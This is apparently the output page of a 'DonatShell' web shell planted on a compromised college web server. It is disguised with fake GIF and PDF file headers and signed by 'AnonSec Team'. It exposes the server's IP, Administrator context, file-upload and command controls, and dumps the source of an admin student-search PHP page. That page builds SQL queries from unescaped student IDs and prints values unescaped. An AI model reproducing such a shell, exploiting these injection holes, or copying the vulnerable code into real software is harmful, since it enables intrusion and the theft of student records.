GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/User/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/User/UserSearch.php
<?
// Admin/User/UserSearch.php
// Perform a user search.

$DEBUG_UserSearch = true;
if ( !isset($DEBUG_UserSearch) ) $DEBUG_UserSearch = false;

ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$authorizedGroups = 'Admin'; // To restrict access to a group or groups, list them here. I.E. "Admin,User".
include('application.phpinc'); // Include application setup file.

function parseSearchWord($searchWord, $string) {
  $string = str_replace($searchWord,'<"">'.$searchWord.'</>',$string);
  $string = str_replace(ucwords($searchWord),'<"">'.ucwords($searchWord).'</>',$string);
  $string = str_replace(strtolower($searchWord),'<"">'.strtolower($searchWord).'</>',$string);
  $string = str_replace(strtoupper($searchWord),'<"">'.strtoupper($searchWord).'</>',$string);
  return $string;
}
function highlightSearchWord($string) {
  $string = str_replace('<"">','<em class="info">',$string);
  $string = str_replace('</>','</em>',$string);
  return $string;
}
if (!isset($f_userId) ) { $f_userId = formValue('userId'); if ( !$f_userId ) $f_userId = 0; }
$f_userSearch = formValue('userSearch');
if ( $f_userSearch != '' ) {
	include('Admin/User/SearchQueryUser.phpinc');
} else {
	$userSearchResultCount = 0;
}
$headTitle = '_CST_ - User Search';
$pageTitle = '_CST_<br>User Search: '.$f_userSearch;

include('common/pageHeader.phpinc'); // Include page header.

#printVar('$f_userSearch',$f_userSearch);
#printVar('$userSearchResultCount',$userSearchResultCount);
#printDivVar('$userSearchResult',$userSearchResult);
#d_Var('$_SESSION',$_SESSION,'d');
$darsIds = '';

if ( $userSearchResultCount ) {
?>
<table class="center grayline">
<tr><th class="left"></th><th class="left">Username</th><th class="left">StudentId</th><th class="left">Name</th><th class="left">Email address</th><th class="left">Classification</th><th class="left">Major / Classes</th><th class="left">Advisor</th><th class="left">Last login</th><? if (dc() || $DEBUG_UserSearch) { ?><th class="left">Score</th><? } ?></tr>
<?
	mysqli_data_seek($userSearchResult, 0);
	while ($userSearchRow = mysqli_fetch_assoc($userSearchResult)) {
		$username = $userSearchRow['userUsername'];
		$userStudentId = $userSearchRow['userStudentId'];
		$search_userStudentId = $userSearchRow['userStudentId'];
		$search_userFirstname = $userSearchRow['userFirstName'];
		$search_userMiddlename = $userSearchRow['userMiddleName'];
		$search_userLastname = $userSearchRow['userLastName'];
		$search_userNickname = $userSearchRow['userNickname'];
		$userEmail = $userSearchRow['userEmail'];
		$search_userAccessTime = $userSearchRow['userAccessTime'];
		if ( !$search_userNickname ) {
			$name = trim($search_userFirstname.' '.trim($search_userMiddlename.' '.$search_userLastname));
		} else {
			$name = trim($search_userFirstname.' ('.trim($search_userNickname).') '.trim($search_userMiddlename.' '.$search_userLastname));
		}
		foreach ($v_SearchPart as $v_SearchWord) {
			if ( strlen($v_SearchWord) >= 1 ) {
				// Highlight search match.
				$search_userStudentId = parseSearchWord($v_SearchWord, $search_userStudentId);
				$search_userFirstname = parseSearchWord($v_SearchWord, $search_userFirstname);
				$search_userMiddlename = parseSearchWord($v_SearchWord, $search_userMiddlename);
				$search_userLastname = parseSearchWord($v_SearchWord, $search_userLastname);
				$search_userNickname = parseSearchWord($v_SearchWord, $search_userNickname);
			} // if ( strlen($v_SearchWord) >= 2 )
		} // foreach ($v_SearchPart as $v_SearchWord)
		$search_userStudentId = highlightSearchWord($search_userStudentId);
		$search_userFirstname = highlightSearchWord($search_userFirstname);
		$search_userMiddlename = highlightSearchWord($search_userMiddlename);
		$search_userLastname = highlightSearchWord($search_userLastname);
		$search_userNickname = highlightSearchWord($search_userNickname);
		if ( !$search_userNickname ) {
			$search_name = trim($search_userFirstname.' '.trim($search_userMiddlename.' '.$search_userLastname));
		} else {
			$search_name = trim($search_userFirstname.' ('.trim($search_userNickname).') '.trim($search_userMiddlename.' '.$search_userLastname));
		}
		if ( $f_userId == $userSearchRow['userId'] ) {
			$class = 'info';
		} else {
			$class = '';
		}
		if ($userSearchRow['userLoginCount']) {
			// User has logged in.
			if (date_difference($userSearchRow['userAccessTime'], currentDateTime()) <= 14) {
				// User has logged in within the last two weeks.
				$status = "Current";
			} else {
				if (date_difference($userSearchRow['userAccessTime'], currentDateTime()) <= 90) {
					// User has logged in within the last three months.
					$status = "Recent";
				} else {
					// User has not logged in within the last three months.
					$status = "Older";
				}
			}
			$dateText = substr($userSearchRow['userAccessTime'],0,10);
		} else {
			// User has never logged in.
			$status = "Never";
			$dateText = 'n/a';
		}
		// Get DARS info.
		$query = "
				SELECT dars.*, session.YRTR, session.sessionName
					FROM `dars`
		 LEFT JOIN session ON session.sessionId = dars.sessionId
				 WHERE dars.darsStudentId = '".$userStudentId."'
					 AND ( session.YRTR = ( SELECT MAX(session.YRTR) from dars LEFT JOIN session ON session.sessionId = dars.sessionId WHERE dars.darsStudentId = '".$userStudentId."' ) )
					ORDER BY darsCredentialTitle, session.YRTR DESC
		";
		$darsResult = query_do($query);
		$darsResultCount = $_SESSION['qry']['count'];
		#printVar('$userStudentId',$userStudentId);
		#printDivVar('$darsResult',$darsResult);
		if ( $darsResultCount ) {
			mysqli_data_seek($darsResult, 0);
			$darsRow = mysqli_fetch_assoc($darsResult);
			$darsIds = listAppend($darsIds,$darsRow['darsId']);
			$darsTitle = $darsRow['sessionName'].' ('.$darsRow['YRTR'].')';
		} else {
			$darsTitle = '';
		}
		// Get Student Profile info.
		$query = "
				SELECT lastModified
					FROM `studentprofile`
				 WHERE userId = ".$userSearchRow['userId']."
		";
		$studentprofileResult = query_do($query);
		$studentprofileResultCount = $_SESSION['qry']['count'];
		if ( $studentprofileResultCount ) {
			mysqli_data_seek($studentprofileResult, 0);
			$studentprofileRow = mysqli_fetch_assoc($studentprofileResult);
			$studentprofileTitle = 'View Student Profile entered on '.$studentprofileRow['lastModified'];
		} else {
			$studentprofileTitle = '';
		}
		// Get class info.
		$query = "
				SELECT course.courseNumber
						 , course.courseTitle
						 , class.classSection
						 , class.YRTR
				FROM `classstudent`
				JOIN `class` ON class.classId = classstudent.classId
				JOIN `course` ON course.courseId = class.courseId
			 WHERE userStudentId = '".$search_userStudentId."'
			   AND class.YRTR = '".$_SESSION['YRTR']['User']."'
		";
		$classstudentResult = query_do($query);
		$classstudentResultCount = $_SESSION['qry']['count'];
		$classstudentList = '';
		if ( $classstudentResultCount ) {
			mysqli_data_seek($classstudentResult, 0);
			while ( $classstudentInfo = mysqli_fetch_assoc($classstudentResult) ) {
				$classstudentList .= '<br><a href="/JimMartinson/'.$classstudentInfo['courseNumber'].'/">'.$classstudentInfo['courseNumber'].'-'.$classstudentInfo['classSection'].' '.$classstudentInfo['courseTitle'].'</a>';
			}
		}
		#if ( $classstudentList != '' ) $classstudentList = '<span class="info">'.$classstudentList.'</span>';
?>
  <tr class="middle">
    <!-- Buttons -->
    <td class="<?=$class?> nowrap">
    <? if ( $darsResultCount ) { ?><a href="/Admin/Enrollment/ViewDars.php?f_userStudentId=<?=$userStudentId?>" target="_blank"<?=ttMake(false,'View DARS report from '.htmlView($darsTitle))?>>DARS</a><? } else { ?><span class="error">DARS</span><? } ?>
    <? if ( $studentprofileResultCount ) { ?><a href="/Admin/Class/?f_userId=<?=$userSearchRow['userId']?>&f_task=Student%20Profile&f_subtask=View" target="_blank"<?=ttMake(false,htmlView($studentprofileTitle))?>>SP</a><? } else { ?><span class="error">SP</span><? } ?>
    </td>
    <!-- username -->
    <td class="<?=$class?> nowrap"><?=$username?></td>
    <!-- userStudentId -->
    <td class="<?=$class?> nowrap"><?=$search_userStudentId?></td>
    <!-- Name -->
    <td class="<?=$class?> nowrap"><?=$search_name?><? if (dc() || $DEBUG_UserSearch ) { echo ' ('.$userSearchRow['userId'].')'; } ?></td>
    <!-- Email address -->
    <td class="<?=$class?> nowrap"><a href="mailto://<?=$name?> &lt;<?=$userEmail?>&gt;"><?=$userEmail?></a></td>
    <!-- Classification -->
    <td class="<?=$class?> nowrap"><?=$userSearchRow['userClassification']?></td>
    <!-- Major -->
    <td class="<?=$class?> nowrap"><?=$userSearchRow['userMajor']?><?=$classstudentList?></td>
    <!-- Advisor -->
    <td class="<?=$class?> nowrap"><?=$userSearchRow['userAdvisor']?></td>
    <!-- Last login -->
    <td class="user<?=$status?> nowrap"><?=$dateText?></td>
<? 
    if ( dc() || $DEBUG_UserSearch ) {
      if ( isset($userSearchRow['score']) ) { $score = (int)$userSearchRow['score']; } else { $score = ''; }
?>
    <!-- Score -->
    <td class="<?=$class?> center"><?=$score?></td>
<?
    }
?>
  </tr>
<?
	}
}
if ( $f_userSearch != '' ) {
	// Get DARS info.
	include('Admin/User/SearchQueryDARS.phpinc');
	if ( $darsResultCount ) {
		if ( !$userSearchResultCount ) {
?>
<table class="center grayline">
<tr><th class="left"></th><th class="left">StudentId</th><th class="left">Name</th><th class="left">Email address</th><th class="left">Classification</th><th class="left">Major</th><th class="left">Advisor</th><th class="left">Last login</th><? if (dc() || $DEBUG_UserSearch) { ?><th class="left">Score</th><? } ?></tr>
<?
		}
		mysqli_data_seek($darsResult, 0);
		while ( $darsRow = mysqli_fetch_assoc($darsResult) ) {
			$darsTitle = $darsRow['sessionName'].' ('.$darsRow['YRTR'].')';
			$userStudentId = $darsRow['darsStudentId'];
			$search_userStudentId = $darsRow['darsStudentId'];
			$search_userFirstname = $darsRow['darsStudentFirstName'];
			$search_userMiddlename = $darsRow['darsStudentMiddleName'];
			$search_userLastname = $darsRow['darsStudentLastName'];
			foreach ($v_SearchPart as $v_SearchWord) {
				if ( strlen($v_SearchWord) >= 1 ) {
					// Highlight search match.
					$search_userStudentId = parseSearchWord($v_SearchWord, $search_userStudentId);
					$search_userFirstname = parseSearchWord($v_SearchWord, $search_userFirstname);
					$search_userMiddlename = parseSearchWord($v_SearchWord, $search_userMiddlename);
					$search_userLastname = parseSearchWord($v_SearchWord, $search_userLastname);
				} // if ( strlen($v_SearchWord) >= 2 )
			} // foreach ($v_SearchPart as $v_SearchWord)
			$search_userStudentId = highlightSearchWord($search_userStudentId);
			$search_userFirstname = highlightSearchWord($search_userFirstname);
			$search_userMiddlename = highlightSearchWord($search_userMiddlename);
			$search_userLastname = highlightSearchWord($search_userLastname);
			$search_name = trim($search_userFirstname.' '.trim($search_userMiddlename.' '.$search_userLastname));
?>
  <tr class="middle">
    <!-- Buttons -->
    <td class="<?=$class?> nowrap"><a href="/Admin/Enrollment/ViewDars.php?f_userStudentId=<?=$darsRow['darsStudentId']?>" target="_blank"<?=ttMake(false,'View DARS report from '.htmlView($darsTitle))?>>DARS</a> <span class="error">SP</span></td>
    <!-- username -->
    <td class="<?=$class?> nowrap"><span class="error">N/A</span></td>
    <!-- userStudentId -->
    <td class="<?=$class?> nowrap"><?=$search_userStudentId?></td>
    <!-- Name -->
    <td class="<?=$class?> nowrap"><?=$search_name?></td>
    <!-- Email address -->
    <td class="<?=$class?> nowrap"></td>
    <!-- Classification -->
    <td class="<?=$class?> nowrap"></td>
    <!-- Major -->
    <td class="<?=$class?> nowrap"><?=$darsRow['darsCredentialTitle']?></td>
    <!-- Advisor -->
    <td class="<?=$class?> nowrap"><?=$darsRow['darsAdvisor']?></td>
    <!-- Last login -->
    <td class="user<?=$status?> nowrap"></td>
<? 
    if ( dc() || $DEBUG_UserSearch ) {
      if ( isset($userSearchRow['score']) ) { $score = (int)$userSearchRow['score']; } else { $score = ''; }
?>
    <!-- Score -->
    <td class="<?=$class?> center"><?=$score?></td>
<?
    }
?>
  </tr>
<?
		}
	}
}
if ( $userSearchResultCount || ( $f_userSearch != '' && $darsResultCount ) ) {
?>
</table>
<?
}
include('common/pageFooter.phpinc'); // Include page footer.
?>

Anon7 - 2022
AnonSec Team